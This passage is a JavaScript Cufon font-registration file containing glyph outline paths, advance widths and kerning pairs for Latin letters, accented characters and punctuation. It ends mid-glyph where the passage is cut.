Cufon.registerFont((function(f){var b=_cufon_bridge_={p:[{"d":"113,-187r-15,0r-51,-43r42,0xm186,-80v0,48,-36,83,-87,83v-51,0,-88,-34,-88,-83v0,-49,37,-83,88,-83v51,0,87,35,87,83xm104,-15v67,-6,51,-127,-10,-129v-66,6,-52,126,10,129","w":197,"k":{"W":20,"V":22}},{"d":"136,-184v-24,2,-26,-17,-39,-26v-13,9,-15,28,-39,26r28,-46r21,0xm186,-80v0,48,-36,83,-87,83v-51,0,-88,-34,-88,-83v0,-49,37,-83,88,-83v51,0,87,35,87,83xm104,-15v67,-6,51,-127,-10,-129v-66,6,-52,126,10,129","w":197,"k":{"W":20,"V":22}},{"d":"145,-272v0,8,-7,15,-16,15v-9,0,-17,-7,-17,-15v0,-9,8,-16,17,-16v9,0,16,7,16,16xm76,-272v0,8,-8,15,-17,15v-9,0,-17,-7,-17,-15v0,-9,8,-16,17,-16v9,0,17,7,17,16xm184,-49r-8,49r-169,0r0,-12r24,-7r0,-190v-9,-6,-27,-3,-24,-21r164,0r3,47r-25,0r-11,-25v-16,-7,-40,-5,-63,-5r0,83r48,0v7,-9,11,-21,30,-17r0,52r-17,0r-13,-17r-48,0r0,85v11,18,53,7,71,0r13,-22r25,0","w":190},{"d":"245,0r-100,0r0,-12v15,-1,20,-12,12,-24r-44,-58r-47,60r0,16r17,6r0,12r-79,0r0,-12r19,-8r77,-92r-74,-98v-8,-5,-23,-3,-20,-20r96,0r0,11r-17,6r0,13r44,56r43,-54r0,-15r-18,-6r0,-11r77,0v3,16,-11,14,-19,19r-70,85r82,105v9,5,25,3,21,21","w":248,"k":{"Y":8,"?":5}},{"d":"67,-138v0,14,-12,25,-26,25v-14,0,-26,-11,-26,-25v0,-14,12,-25,26,-25v14,0,26,11,26,25xm40,-47v55,12,10,76,-18,98r-10,-6v8,-10,19,-24,24,-36v-22,-11,-31,-54,4,-56","w":83},{"d":"99,-219r-24,9r0,188v0,49,-49,82,-71,88r-8,-7v15,-15,36,-36,36,-72r0,-197v-9,-6,-27,-2,-24,-20r91,0r0,11","w":105,"k":{"?":-5}},{"d":"194,-69v0,34,-28,69,-76,69r-111,0r0,-12r24,-8r0,-190v-9,-6,-26,-2,-23,-20v72,4,170,-21,171,55v0,24,-19,44,-38,48v31,4,53,26,53,58xm135,-175v0,-32,-25,-41,-60,-38r0,81v36,3,60,-9,60,-43xm148,-69v0,-37,-33,-49,-73,-45r0,86v5,6,8,10,21,10v27,0,52,-12,52,-51","w":201,"k":{"\u00c6":4,"Y":9,"W":4,"V":4,"A":5,"?":4}},{"d":"66,-236r-15,174r-16,0r-16,-168xm65,-18v0,12,-10,22,-22,22v-13,0,-22,-10,-22,-22v0,-12,9,-21,22,-21v12,0,22,9,22,21","w":83},{"d":"94,102r-71,0r0,-356r71,0r0,13r-31,0r0,329r31,0r0,14","w":104},{"d":"180,-183r-24,0r-9,-20v-16,-11,-44,-11,-72,-10r0,83r52,0r11,-17r18,0r0,52r-18,0r-11,-17r-52,0r0,91r27,9r0,12r-95,0r0,-12r24,-8r0,-190v-9,-6,-27,-2,-24,-20r170,0","w":185,"k":{"\u00c1":15,"\u00c2":15,"\u00c3":15,"\u00c0":15,"\u00f8":11,"\u00e6":11,"\u00c6":18,"\u00fc":7,"\u00fb":7,"\u00f9":7,"\u00fa":7,"\u00f5":11,"\u00f6":11,"\u00f4":11,"\u00f2":11,"\u00f3":11,"\u00eb":7,"\u00ea":7,"\u00e8":7,"\u00e9":7,"\u00e5":11,"\u00e3":14,"\u00e4":14,"\u00e2":14,"\u00e0":14,"\u00e1":14,"\u00c5":15,"\u00c4":15,"z":4,"y":4,"x":5,"u":7,"s":11,"r":7,"o":11,"n":7,"m":7,"j":4,"i":5,"g":9,"e":13,"d":9,"c":11,"a":11,"G":7,"A":23,"?":-5,";":5,":":5,".":14,",":14}},{"d":"313,-49r-7,49r-168,0r0,-12r23,-6r0,-62r-78,0v-9,21,-28,31,-26,63r18,6r0,11r-72,0r0,-12r16,-7r120,-191v-8,-6,-25,-3,-22,-20r184,0r2,47r-20,0r-15,-25v-16,-7,-41,-5,-64,-5r0,83r48,0r13,-17r18,0r0,52r-18,0r-13,-17r-48,0v2,29,-5,67,4,90v19,9,49,2,66,-5r18,-22r21,0xm161,-98r0,-113r-68,113r68,0","w":320},{"d":"189,-80v0,48,-38,83,-89,83v-51,0,-89,-34,-89,-83v0,-49,38,-83,89,-83v51,0,89,35,89,83xm105,-15v67,-6,51,-127,-10,-129v-67,6,-53,126,10,129","w":199,"k":{"x":4,"W":22,"V":22}},{"d":"111,-187r-16,0r-50,-43r42,0xm163,-87r-113,0v-6,60,54,71,109,59v-1,25,-34,31,-60,31v-58,0,-88,-34,-88,-83v0,-48,32,-83,80,-83v46,0,77,24,72,76xm122,-109v3,-25,-5,-36,-29,-36v-24,0,-38,19,-41,42","w":171,"k":{"Y":9,"W":9,"V":9,"T":11}},{"d":"117,-121r-3,18r-99,0r3,-18r99,0xm117,-86r-3,19r-99,0r3,-19r99,0","w":133},{"d":"132,-184v-24,2,-27,-17,-40,-26v-13,9,-15,28,-39,26r29,-46r21,0xm163,-87r-113,0v-6,60,54,71,109,59v-1,25,-34,31,-60,31v-58,0,-88,-34,-88,-83v0,-48,32,-83,80,-83v46,0,77,24,72,76xm122,-109v3,-25,-5,-36,-29,-36v-24,0,-38,19,-41,42","w":171,"k":{"Y":11,"W":9,"V":9,"T":11}},{"d":"117,-184v0,29,-22,50,-53,50v-31,0,-53,-20,-53,-50v0,-29,22,-50,53,-50v31,0,53,21,53,50xm67,-145v40,-4,32,-76,-6,-78v-40,4,-32,76,6,78","w":128},{"d":"42,-47v54,14,9,74,-19,98r-10,-6v8,-10,20,-24,25,-36v-21,-11,-32,-54,4,-56","w":85},{"d":"245,-114v0,64,-50,117,-118,117v-68,0,-118,-53,-118,-117v0,-64,50,-117,118,-117v68,0,118,53,118,117xm127,-10v57,0,99,-46,99,-104v0,-58,-43,-104,-99,-104v-56,0,-99,46,-99,104v0,58,43,104,99,104xm200,-43r-31,0r-55,-78v20,2,38,3,39,-25v1,-22,-19,-28,-44,-26r0,113v7,4,19,2,16,16r-58,0v-3,-14,10,-12,17,-16r0,-108v-6,-4,-19,-3,-16,-16v47,2,112,-13,112,36v0,18,-13,32,-30,36v17,19,27,45,50,58r0,10","w":254},{"d":"160,-16r0,11r-53,8r-2,-16v-4,3,-25,16,-47,16v-31,0,-51,-17,-51,-44v0,-42,40,-48,96,-48v3,-32,-5,-58,-35,-56v-13,9,-19,30,-38,30v-11,0,-18,-5,-18,-16v0,-22,50,-32,67,-32v35,0,61,14,61,50r0,87v5,5,10,10,20,10xm103,-25r0,-48v-25,0,-58,2,-55,31v3,28,33,22,55,17","w":165,"k":{"Y":25,"W":13,"V":13}},{"d":"125,93v-1,9,-10,10,-20,10v-30,0,-58,-13,-58,-52v0,-19,6,-79,6,-88v0,-32,-29,-31,-52,-32r0,-13v23,-1,52,-1,52,-33v0,-9,-6,-69,-6,-88v1,-45,35,-56,74,-51r4,9v-24,1,-39,5,-39,40v0,55,30,133,-38,128r0,2v68,-4,37,71,38,128v0,35,15,39,39,40","w":129},{"d":"94,0r-88,0r0,-12r24,-7r0,-189v-5,-6,-13,-9,-22,-11r0,-11r61,-9r0,220r25,7r0,12","w":99},{"d":"101,-163v19,0,52,2,52,26v0,18,-23,27,-36,14r-16,-16r0,115v16,3,38,-1,52,-2r-5,15v-14,7,-29,13,-47,14r0,46r-12,0r0,-46v-45,-3,-78,-33,-78,-82v0,-46,28,-79,78,-83r0,-41r12,0r0,40xm89,-27r0,-118v-26,2,-39,32,-39,59v0,30,15,50,39,59","w":158},{"d":"288,32r-34,34r-104,-61v-87,9,-139,-50,-139,-119v0,-66,47,-120,123,-120v140,0,160,189,50,231xm140,-16v104,-8,91,-195,-14,-196v-105,9,-91,194,14,196","w":266},{"d":"163,-87r-113,0v-6,60,54,71,109,59v-1,25,-34,31,-60,31v-58,0,-88,-34,-88,-83v0,-48,32,-83,80,-83v46,0,77,24,72,76xm122,-109v3,-25,-5,-36,-29,-36v-24,0,-38,19,-41,42","w":171,"k":{"e":5,"Y":11,"W":9,"V":9,"T":11}},{"d":"183,-148r-48,0v13,10,22,21,22,39v-2,48,-53,58,-97,51v-10,41,28,34,63,34v31,0,52,17,52,48v0,42,-57,62,-90,62v-35,0,-78,-7,-78,-40v1,-21,26,-31,47,-27v-5,4,-12,12,-12,22v0,42,94,29,93,-7v-1,-26,-28,-21,-52,-22v-25,0,-49,-1,-59,-33r24,-39v-27,-7,-39,-23,-39,-49v2,-54,70,-64,115,-46v20,-9,31,-27,59,-28r0,35xm117,-109v0,-21,-12,-37,-36,-36v-22,1,-33,16,-32,37v1,21,13,35,35,34v21,-1,33,-16,33,-35","w":183,"k":{"?":-8}},{"d":"119,-85r-44,61r-14,1r24,-62r-24,-62r14,0xm68,-85r-44,61r-13,1r24,-62r-24,-62r13,0","w":125},{"d":"142,-230r-51,43r-14,0r23,-43r42,0xm196,-6r-56,9r-2,-22v-30,30,-111,36,-111,-28r0,-91v-5,-6,-12,-9,-21,-10r0,-11r60,-7r0,113v-5,36,48,34,70,25r0,-110v-4,-6,-12,-9,-21,-10r0,-11r60,-7r0,139v4,6,11,10,21,10r0,11","w":201,"k":{"W":20,"V":18,"T":11}},{"d":"152,-48r-5,48r-140,0r0,-12r89,-130v-21,0,-42,-1,-56,6r-9,19r-20,0r0,-42r133,0r0,11r-90,131v38,2,70,0,76,-31r22,0","w":156},{"d":"99,-187r-15,0r-51,-43r42,0xm159,-16r0,11r-53,8r-2,-16v-4,3,-25,16,-47,16v-31,0,-51,-17,-51,-44v0,-42,40,-48,96,-48v3,-32,-5,-58,-35,-56v-13,10,-19,30,-39,30v-11,0,-16,-5,-16,-16v0,-22,49,-32,66,-32v35,0,61,14,61,50r0,87v5,5,10,10,20,10xm102,-25r0,-48v-25,-1,-60,3,-55,31v5,27,33,22,55,17","w":167,"k":{"Y":25,"W":13,"V":13,"T":11}},{"d":"113,-166v30,-6,46,43,11,45v-15,0,-20,-13,-29,-20v-7,1,-20,5,-26,7r0,113r28,9r0,12r-91,0r0,-12r24,-8r0,-116v-5,-6,-12,-10,-21,-12r0,-11r58,-7r1,20v12,-9,28,-20,45,-20","w":139,"k":{"y":-6,".":5,",":5}},{"d":"147,-291r-51,44r-15,0r24,-44r42,0xm184,-49r-8,49r-169,0r0,-12r24,-7r0,-190v-9,-6,-27,-3,-24,-21r164,0r3,47r-25,0r-11,-25v-16,-7,-40,-5,-63,-5r0,83r48,0v7,-9,11,-21,30,-17r0,52r-17,0r-13,-17r-48,0r0,85v11,18,53,7,71,0r13,-22r25,0","w":190},{"d":"196,-26r-3,17v-77,34,-173,-10,-173,-102v0,-84,82,-128,166,-102r6,46r-21,0v-3,-13,-15,-34,-44,-34v-52,0,-74,38,-74,90v0,23,19,88,94,88v17,0,31,-2,49,-3","w":214},{"d":"117,-184v-24,2,-27,-16,-40,-24v-13,8,-16,26,-39,24r29,-46r21,0xm159,-16r0,11r-53,8r-2,-16v-4,3,-25,16,-47,16v-31,0,-51,-17,-51,-44v0,-42,40,-48,96,-48v3,-32,-5,-58,-35,-56v-13,10,-19,30,-39,30v-11,0,-16,-5,-16,-16v0,-22,49,-32,66,-32v35,0,61,14,61,50r0,87v5,5,10,10,20,10xm102,-25r0,-48v-25,-1,-60,3,-55,31v5,27,33,22,55,17","w":167,"k":{"Y":25,"W":13,"V":13,"T":11}},{"d":"103,-240v19,0,45,2,45,23v0,19,-26,28,-37,13r-16,-21v-22,-3,-28,36,-25,66r50,0r-4,13r-46,0r0,126r27,8r0,12r-90,0r0,-12r24,-8r0,-126r-25,0r0,-13r25,-3v-3,-49,13,-78,72,-78","w":115,"k":{"?":-46}},{"d":"257,-115v0,67,-51,120,-123,120v-75,0,-123,-55,-123,-120v0,-65,48,-119,123,-119v75,0,123,54,123,119xm140,-17v109,-9,88,-193,-13,-196v-112,9,-87,193,13,196","w":267,"k":{"\u00c6":5,"W":4,"V":4,"A":9}},{"d":"186,-85v-3,86,-87,102,-158,77r0,-200v-5,-6,-13,-9,-22,-11r0,-11r61,-9r0,94v45,-35,122,-18,119,60xm146,-78v-4,-68,-40,-62,-79,-54r0,106v29,27,82,-1,79,-52","w":197},{"d":"194,0r-54,0r-64,-83r50,-46r0,-14r-17,-5r0,-11r79,0r0,11v-33,9,-48,36,-72,54r64,75v7,4,17,5,14,19xm90,0r-84,0r0,-12r24,-8r0,-188v-4,-7,-13,-9,-22,-11r0,-11r61,-9r0,219r21,8r0,12","w":194,"k":{"w":2,"t":9}},{"d":"148,-230r-51,43r-15,0r24,-43r42,0xm163,-87r-113,0v-6,60,54,71,109,59v-1,25,-34,31,-60,31v-58,0,-88,-34,-88,-83v0,-48,32,-83,80,-83v46,0,77,24,72,76xm122,-109v3,-25,-5,-36,-29,-36v-24,0,-38,19,-41,42","w":171,"k":{"Y":9,"W":9,"V":9,"T":11}},{"d":"171,-245v-24,3,-27,-16,-40,-25v-13,8,-16,27,-39,25r28,-46r21,0xm257,-115v0,67,-51,120,-123,120v-75,0,-123,-55,-123,-120v0,-65,49,-119,123,-119v75,0,123,54,123,119xm140,-17v109,-9,88,-193,-13,-196v-110,9,-88,193,13,196","w":267},{"d":"66,114r-23,0r0,-353r23,0r0,353","w":119},{"d":"161,-245v-24,2,-27,-17,-40,-25v-13,9,-15,27,-39,25r29,-46r21,0xm239,0r-86,0v-3,-15,10,-14,18,-19v2,-25,-9,-38,-14,-56r-91,0v-5,18,-16,31,-14,56v8,5,21,3,18,19r-66,0r0,-12r17,-7r76,-203r48,-7r78,210v7,5,19,4,16,19xm149,-96r-38,-107r-38,107r76,0","w":243,"k":{"Y":27,"W":26,"V":27,"T":24,"'":24,"\"":24}},{"d":"98,-230r-51,43r-15,0r25,-43r41,0xm94,0r-88,0r0,-12r24,-8r0,-116v-5,-6,-11,-11,-21,-12r0,-11r60,-7r0,146r25,8r0,12","w":101},{"d":"82,102r-71,0r0,-14r31,0r0,-329r-31,0r0,-13r71,0r0,356","w":104},{"d":"115,-212v0,16,-16,31,-37,31v-20,0,-36,-12,-36,-31v0,-18,14,-31,36,-31v22,0,37,13,37,31xm160,-16r0,11r-53,8r-2,-16v-4,3,-25,16,-47,16v-31,0,-51,-17,-51,-44v0,-42,40,-48,96,-48v3,-32,-5,-58,-35,-56v-13,9,-19,30,-38,30v-11,0,-18,-5,-18,-16v0,-22,50,-32,67,-32v35,0,61,14,61,50r0,87v5,5,10,10,20,10xm97,-212v0,-13,-7,-19,-19,-19v-14,0,-18,8,-18,19v0,11,6,18,18,18v13,0,19,-7,19,-18xm103,-25r0,-48v-25,0,-58,2,-55,31v3,28,33,22,55,17","w":165,"k":{"Y":14,"W":13,"V":13,"T":11}},{"d":"128,-215v0,9,-8,16,-17,16v-9,0,-17,-7,-17,-16v0,-8,8,-15,17,-15v9,0,17,7,17,15xm64,-215v0,9,-8,16,-17,16v-10,0,-17,-7,-17,-16v0,-8,7,-15,17,-15v9,0,17,7,17,15xm159,-16r0,11r-53,8r-2,-16v-4,3,-25,16,-47,16v-31,0,-51,-17,-51,-44v0,-42,40,-48,96,-48v3,-32,-5,-58,-35,-56v-13,10,-19,30,-39,30v-11,0,-16,-5,-16,-16v0,-22,49,-32,66,-32v35,0,61,14,61,50r0,87v5,5,10,10,20,10xm102,-25r0,-48v-25,-1,-60,3,-55,31v5,27,33,22,55,17","w":167,"k":{"Y":25,"W":13,"V":13,"T":11}},{"d":"117,-215r-93,0r0,-15r93,0r0,15","w":144},{"d":"126,-233v11,12,-14,42,-24,45v-16,0,-37,-18,-49,-18v-11,0,-16,10,-23,18v-13,-9,11,-41,21,-41v16,0,43,17,51,17v12,0,17,-12,24,-21xm159,-16r0,11r-53,8r-2,-16v-4,3,-25,16,-47,16v-31,0,-51,-17,-51,-44v0,-42,40,-48,96,-48v3,-32,-5,-58,-35,-56v-13,10,-19,30,-39,30v-11,0,-16,-5,-16,-16v0,-22,49,-32,66,-32v35,0,61,14,61,50r0,87v5,5,10,10,20,10xm102,-25r0,-48v-25,-1,-60,3,-55,31v5,27,33,22,55,17","w":167,"k":{"Y":25,"W":13,"V":13,"T":11}},{"d":"120,-215v0,8,-8,15,-17,15v-9,0,-17,-7,-17,-15v0,-9,8,-16,17,-16v9,0,17,7,17,16xm57,-215v0,8,-8,15,-17,15v-9,0,-17,-7,-17,-15v0,-9,8,-16,17,-16v9,0,17,7,17,16","w":147},{"d":"113,-187r-15,0r-50,-43r41,0xm196,-6r-56,9r-2,-22v-30,30,-111,36,-111,-28r0,-91v-5,-6,-12,-9,-21,-10r0,-11r60,-7r0,113v-5,36,48,34,70,25r0,-110v-4,-6,-12,-9,-21,-10r0,-11r60,-7r0,139v4,6,11,10,21,10r0,11","w":201,"k":{"W":20,"V":18,"T":16}},{"d":"154,0r-116,0r0,-12r38,-10r0,-116r-38,-10r0,-11r116,0r0,11r-38,10r0,116r38,10r0,12"},{"d":"102,-272v0,8,-8,15,-17,15v-9,0,-17,-7,-17,-15v0,-9,8,-16,17,-16v9,0,17,7,17,16xm40,-272v0,8,-8,15,-17,15v-9,0,-17,-7,-17,-15v0,-9,8,-16,17,-16v9,0,17,7,17,16xm99,0r-91,0r0,-12r24,-8r0,-190v-9,-6,-27,-2,-24,-20r91,0r0,11r-24,9r0,190r24,8r0,12","w":107},{"d":"185,-80v0,46,-36,84,-90,84v-55,0,-89,-38,-89,-84v0,-46,34,-84,89,-84v54,0,90,38,90,84xm152,-80v0,-31,-24,-59,-58,-59v-36,0,-58,28,-58,59v0,31,25,60,61,60v34,0,55,-29,55,-60"},{"d":"67,-104v0,15,-11,25,-26,25v-16,0,-26,-11,-26,-25v0,-14,11,-25,26,-25v15,0,26,10,26,25","w":81},{"d":"152,-247r-15,0r-50,-44r41,0xm254,-219r-24,9v-6,106,33,213,-95,213v-49,0,-104,-18,-104,-79r0,-134r-25,-9r0,-11r92,0r0,11r-25,9v8,84,-32,188,68,188v92,0,64,-106,68,-188v-9,-6,-27,-2,-24,-20r69,0r0,11","w":261},{"d":"98,-163v17,0,53,3,54,28v0,19,-26,24,-37,12v-8,-8,-14,-16,-24,-22v-27,0,-41,32,-41,59v0,55,50,71,103,60r-5,15v-17,8,-33,14,-55,14r3,11v17,4,27,7,27,24v0,22,-18,28,-36,28v-15,4,-26,-16,-10,-19v9,6,27,18,27,-2v0,-8,-8,-13,-20,-15r0,-28v-42,-4,-73,-33,-73,-81v0,-49,30,-84,87,-84","w":158},{"d":"62,14v42,12,20,52,-11,52v-15,0,-21,-15,-9,-18v10,4,26,18,27,-3v0,-6,-4,-13,-19,-17r0,-34v13,-3,9,13,12,20","w":118},{"d":"134,-45r-15,0r0,-51r-109,0r0,-25r116,0v16,11,5,51,8,76","w":141},{"d":"160,-142v58,45,21,145,-60,145v-17,0,-34,-4,-47,-11r-22,28r-13,-10r22,-27v-58,-45,-22,-146,60,-146v18,0,33,4,47,12r25,-30r12,9xm129,-128v-8,-10,-20,-16,-34,-16v-47,3,-54,63,-33,100xm105,-15v46,-3,52,-62,33,-99r-67,83v8,9,20,16,34,16","w":199},{"d":"148,-215v0,8,-8,15,-17,15v-9,0,-17,-7,-17,-15v0,-9,8,-16,17,-16v9,0,17,7,17,16xm84,-215v0,8,-8,15,-17,15v-9,0,-17,-7,-17,-15v0,-9,8,-16,17,-16v9,0,17,7,17,16xm196,-6r-56,9r-2,-22v-30,30,-111,36,-111,-28r0,-91v-5,-6,-12,-9,-21,-10r0,-11r60,-7r0,113v-5,36,48,34,70,25r0,-110v-4,-6,-12,-9,-21,-10r0,-11r60,-7r0,139v4,6,11,10,21,10r0,11","w":201,"k":{"W":20,"V":18,"T":16}},{"d":"160,-181r-42,23r21,43r-8,5r-34,-32r-35,32r-7,-5r21,-43r-42,-23r2,-8r48,6r9,-47r9,0r8,47r47,-6","w":190},{"d":"93,-245v-24,3,-27,-16,-40,-25v-13,8,-16,27,-39,25r28,-46r22,0xm99,0r-91,0r0,-12r24,-8r0,-190v-9,-6,-27,-2,-24,-20r91,0r0,11r-24,9r0,190r24,8r0,12","w":105},{"d":"73,-247r-14,0r-51,-44r41,0xm99,0r-92,0r0,-12r24,-8r0,-190v-9,-6,-27,-2,-24,-20r92,0r0,11r-24,9r0,190r24,8r0,12","w":105},{"d":"136,-184v-24,2,-27,-17,-40,-26v-13,9,-15,28,-39,26r29,-46r21,0xm196,-6r-56,9r-2,-22v-30,30,-111,36,-111,-28r0,-91v-5,-6,-12,-9,-21,-10r0,-11r60,-7r0,113v-5,36,48,34,70,25r0,-110v-4,-6,-12,-9,-21,-10r0,-11r60,-7r0,139v4,6,11,10,21,10r0,11","w":201,"k":{"W":20,"V":18,"T":16}},{"d":"198,-55v0,43,-32,58,-77,58v-37,0,-46,-42,-13,-42v14,0,21,16,29,23v13,0,21,-15,21,-35v0,-57,-63,-40,-63,-75v0,-25,37,-41,37,-66v0,-20,-6,-33,-28,-33v-32,0,-34,43,-34,66r0,159r-64,0r0,-12r23,-7r0,-154v0,-40,30,-68,85,-68v25,0,60,11,60,43v0,41,-53,42,-53,61v0,26,77,15,77,82","w":205},{"d":"172,-245v-24,2,-27,-17,-40,-25v-13,9,-15,27,-39,25r29,-46r21,0xm254,-219r-24,9v-6,106,33,213,-95,213v-49,0,-104,-18,-104,-79r0,-134r-25,-9r0,-11r92,0r0,11r-25,9v8,84,-32,188,68,188v92,0,64,-106,68,-188v-9,-6,-27,-2,-24,-20r69,0r0,11","w":261},{"d":"188,-85v-4,63,-52,100,-119,85r0,63r27,8r0,12r-90,0r0,-12r24,-7r0,-200v-5,-6,-11,-11,-21,-12r0,-11r58,-7r1,21v46,-40,125,-8,120,60xm148,-79v0,-54,-39,-66,-79,-53r0,105v29,30,79,-5,79,-52","w":198},{"d":"196,-6r-56,9r-2,-22v-18,14,-43,26,-72,21r0,61r27,8r0,12r-90,0r0,-12r24,-7r0,-200v-5,-6,-11,-11,-21,-12r0,-11r60,-7r0,113v-5,36,48,34,70,25v-2,-37,5,-82,-4,-112v-4,-4,-10,-6,-17,-8r0,-11r60,-7r0,139v4,6,11,10,21,10r0,11","w":201},{"d":"146,-197r-3,13r-32,0r-5,21r33,0r-3,14r-33,-1r-6,33r-15,0r8,-33r-22,0r-6,33r-14,0r7,-33r-33,1r3,-14r33,0r4,-21r-32,0r2,-13r33,0r7,-33r14,0r-8,33r22,0r6,-33r15,0r-8,33r33,0xm96,-184r-20,0r-4,21r20,0","w":171},{"d":"162,-215r-21,0r0,259r-19,0r0,-259r-25,0r0,259r-19,0r0,-167v-48,0,-68,-22,-68,-54v0,-64,87,-53,152,-53r0,15","w":181},{"d":"62,-187r-15,0r-51,-43r41,0xm96,0r-88,0r0,-12r24,-8r0,-116v-5,-6,-11,-11,-21,-12r0,-11r61,-7r0,146r24,8r0,12","w":101},{"d":"190,-148r-19,7v-24,60,-60,154,-94,206v-13,19,-60,32,-62,-2v-1,-23,30,-26,41,-11v17,-4,23,-27,29,-39r-62,-154v-8,-4,-22,-2,-19,-18r86,0r0,11v-8,4,-27,1,-21,16r39,99v6,-21,40,-91,36,-109r-19,-6r0,-11r65,0r0,11","w":193,"k":{"n":1,"m":2,".":5,",":5}},{"d":"159,-63v0,39,-32,61,-68,65r0,47r-12,0r0,-46v-21,0,-45,-3,-66,-7r0,-50r18,0v13,15,18,38,48,37r0,-83v-30,-19,-66,-36,-66,-71v0,-37,32,-57,66,-60r0,-49r12,0r0,48v19,0,37,3,55,6r0,44v-31,5,-24,-32,-55,-31r0,72v30,18,68,39,68,78xm79,-148r0,-64v-34,7,-31,50,0,64xm91,-19v32,-12,32,-58,0,-73r0,73","w":172},{"d":"184,-25r-8,25r-29,0r0,61r-40,8r0,-69r-97,0r-1,-12r103,-149r35,0r0,137xm107,-115r-61,91r61,0r0,-91"},{"d":"184,-49r-8,49r-169,0r0,-12r24,-7r0,-190v-9,-6,-27,-3,-24,-21r164,0r3,47r-25,0r-11,-25v-16,-7,-40,-5,-63,-5r0,83r48,0v7,-9,11,-21,30,-17r0,52r-17,0r-13,-17r-48,0r0,85v11,18,53,7,71,0r13,-22r25,0","w":190},{"d":"142,48r-142,0r0,-20r142,0r0,20","w":141},{"d":"7,0r0,-12r24,-8r0,-190v-9,-6,-27,-2,-24,-20r92,0r0,11r-24,9r0,16v61,-6,109,12,109,66v0,42,-42,74,-89,61r-11,-15v32,3,59,-1,59,-47v0,-35,-28,-51,-68,-47r0,155r27,9r0,12r-95,0","w":191},{"d":"109,-247r-15,0r-50,-44r41,0xm184,-49r-8,49r-169,0r0,-12r24,-7r0,-190v-9,-6,-27,-3,-24,-21r164,0r3,47r-25,0r-11,-25v-16,-7,-40,-5,-63,-5r0,83r48,0v7,-9,11,-21,30,-17r0,52r-17,0r-13,-17r-48,0r0,85v11,18,53,7,71,0r13,-22r25,0","w":190},{"d":"131,-247r-14,0r-51,-44r41,0xm239,0r-86,0v-3,-15,10,-14,18,-19v2,-25,-9,-38,-14,-56r-91,0v-5,18,-16,31,-14,56v8,5,21,3,18,19r-66,0r0,-12r17,-7r76,-203r48,-7r78,210v7,5,19,4,16,19xm149,-96r-38,-107r-38,107r76,0","w":243,"k":{"Y":27,"W":26,"V":27,"T":24,"'":24,"\"":24}},{"d":"184,-164v0,42,-42,74,-89,61r-11,-15v32,3,59,-1,59,-47v0,-35,-28,-51,-68,-47r0,191r27,9r0,12r-95,0r0,-12r24,-8r0,-191v-9,-5,-26,-2,-23,-19r106,0v41,0,70,27,70,66","w":191,"k":{"\u00c1":13,"\u00c2":13,"\u00c3":13,"\u00c0":13,"\u00f8":13,"\u00e6":10,"\u00c6":30,"\u00f5":11,"\u00f6":11,"\u00f4":11,"\u00f2":11,"\u00f3":11,"\u00eb":5,"\u00ea":5,"\u00e8":5,"\u00e9":5,"\u00e5":12,"\u00e3":12,"\u00e4":12,"\u00e2":12,"\u00e0":12,"\u00e1":12,"\u00c5":13,"\u00c4":13,"o":11,"e":11,"a":9,"A":20,"?":-5}},{"d":"157,-85r-51,0r0,50r-21,0r0,-50r-46,0r0,-20r46,0r0,-49r21,0r0,49r51,0r0,20xm157,0r-118,0r0,-21r118,0r0,21","w":186},{"d":"196,-6r-56,9r-2,-22v-18,14,-43,26,-72,21r0,61r27,8r0,12r-90,0r0,-12r24,-7r0,-200v-5,-6,-11,-11,-21,-12r0,-11r60,-7r0,113v-5,36,48,34,70,25v-2,-37,5,-82,-4,-112v-4,-4,-10,-6,-17,-8r0,-11r60,-7r0,139v4,6,11,10,21,10r0,11","w":201},{"d":"183,-272v0,8,-8,15,-17,15v-9,0,-17,-7,-17,-15v0,-9,8,-16,17,-16v9,0,17,7,17,16xm113,-272v0,8,-8,15,-17,15v-9,0,-17,-7,-17,-15v0,-9,8,-16,17,-16v9,0,17,7,17,16xm257,-115v0,67,-51,120,-123,120v-75,0,-123,-55,-123,-120v0,-65,49,-119,123,-119v75,0,123,54,123,119xm140,-17v109,-9,88,-193,-13,-196v-110,9,-88,193,13,196","w":267},{"d":"65,-212v0,12,-10,21,-22,21v-13,0,-22,-9,-22,-21v0,-12,9,-22,22,-22v12,0,22,10,22,22xm66,-1r-46,3r15,-166r16,0","w":83},{"w":86,"k":{"\u00c1":7,"\u00c2":7,"\u00c3":7,"\u00c0":7,"\u00c5":7,"\u00c4":7,"A":7,"'":7}},{"d":"145,-215v0,8,-8,15,-17,15v-9,0,-17,-7,-17,-15v0,-9,8,-16,17,-16v9,0,17,7,17,16xm82,-215v0,8,-8,15,-17,15v-9,0,-17,-7,-17,-15v0,-9,8,-16,17,-16v9,0,17,7,17,16xm185,-148r-19,7v-25,59,-61,154,-95,206v-13,20,-59,31,-62,-2v-2,-23,32,-26,41,-11v17,-4,24,-27,30,-39r-63,-154v-8,-4,-22,-2,-19,-18r86,0r0,11v-8,4,-26,2,-20,16r39,99v5,-21,40,-91,36,-109r-20,-6r0,-11r66,0r0,11","w":181},{"d":"67,-138v0,14,-12,25,-26,25v-14,0,-26,-11,-26,-25v0,-14,12,-25,26,-25v14,0,26,11,26,25xm40,-47v55,12,10,76,-18,98r-10,-6v8,-10,19,-24,24,-36v-22,-11,-31,-54,4,-56","w":83},{"d":"135,-80v0,-34,-11,-63,-44,-63v-59,0,-51,98,5,98v6,0,7,-1,21,-2r-9,19v-47,17,-94,-13,-94,-60v0,-46,33,-75,81,-75v56,1,81,38,81,82v0,58,-42,108,-90,145r-23,-6v40,-40,72,-83,72,-138"},{"d":"220,-230v3,15,-9,14,-17,18r-67,113r0,79r24,8r0,12r-92,0r0,-12r26,-8r0,-74r-74,-118v-7,-4,-19,-3,-16,-18r87,0r0,11v-8,4,-20,2,-17,17r51,84r46,-79r0,-16v-8,-4,-20,-2,-17,-17r66,0xm163,-291r-50,43r-15,0r24,-43r41,0","w":223},{"d":"148,-233v12,13,-15,42,-25,45v-16,0,-37,-18,-49,-18v-13,-4,-18,27,-27,12v3,-9,16,-35,26,-35v16,0,43,17,51,17v12,0,17,-12,24,-21xm186,-80v0,48,-36,83,-87,83v-51,0,-88,-34,-88,-83v0,-49,37,-83,88,-83v51,0,87,35,87,83xm104,-15v67,-6,51,-127,-10,-129v-66,6,-52,126,10,129","w":197,"k":{"W":20,"V":22}},{"d":"306,0r-86,0r0,-12r24,-8v-4,-46,17,-118,-33,-118v-15,0,-25,3,-37,6v6,30,2,76,3,112r23,8r0,12r-86,0r0,-12r23,-8v-5,-45,18,-118,-32,-118v-16,0,-25,3,-36,6r0,112r24,8r0,12r-87,0r0,-12r24,-8r0,-116v-5,-6,-11,-11,-21,-12r0,-11r57,-7r1,25v25,-25,83,-32,103,1v33,-31,113,